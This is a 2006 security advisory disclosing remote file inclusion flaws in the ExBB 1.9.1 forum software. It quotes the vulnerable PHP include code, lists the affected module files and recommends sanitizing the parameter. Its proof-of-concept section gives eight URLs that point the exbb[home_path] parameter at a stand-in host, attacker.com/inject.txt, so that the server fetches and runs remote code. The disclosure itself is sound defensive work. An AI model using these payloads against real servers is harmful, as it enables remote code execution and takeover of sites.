[ECHO_ADV_46$2006] ExBB v1.9.1 (exbb[home_path]) Multiple Remote File Inclusion
------------------------------------------------------------------------------

Author		: Ahmad Maulana a.k.a Matdhule
Date Found	: August, 30th 2006
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv46-matdhule-2006.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ExBB 1.9.1

Application	: ExBB
version		: 1.9.1
URL		: http://www.exbb.net

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

In folder birstday we found vulnerability script birst.php
---------------------------birst.php---------------------------------------
....
<?
  $birstdayconf = array();
  include ($exbb['home_path'].'modules/birstday/data/birstday_conf.php');
  include ($exbb['home_path'].'modules/birstday/language/'.$exbb['default_lang'].'/lang.php');

...
----------------------------------------------------------

Input passed to the "exbb['home_path']" parameter in birst.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files :

./select.php
./profile_show.php
../newusergreatings/pm_newreg.php
../punish/p_error.php
../punish/profile.php
../threadstop/threadstop.php
../userstop/userstop.php

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[exbb_path]/modules/birstday/birst.php?exbb[home_path]=http://attacker.com/inject.txt?
http://target.com/[exbb_path]/modules/birstday/select.php?exbb[home_path]=http://attacker.com/inject.txt?
http://target.com/[exbb_path]/modules/birstday/profile_show.php?exbb[home_path]=http://attacker.com/inject.txt?
http://target.com/[exbb_path]/modules/newusergreatings/pm_newreg.php?exbb[home_path]=http://attacker.com/inject.txt?
http://target.com/[exbb_path]/modules/punish/p_error.php?exbb[home_path]=http://attacker.com/inject.txt?
http://target.com/[exbb_path]/modules/punish/profile.php?exbb[home_path]=http://attacker.com/inject.txt?
http://target.com/[exbb_path]/modules/threadstop/threadstop.php?exbb[home_path]=http://attacker.com/inject.txt?
http://target.com/[exbb_path]/modules/userstop/userstop.php?exbb[home_path]=http://attacker.com/inject.txt?

Solution:
~~~~~~~
- Sanitize variable $exbb['home_path'] on affected files.
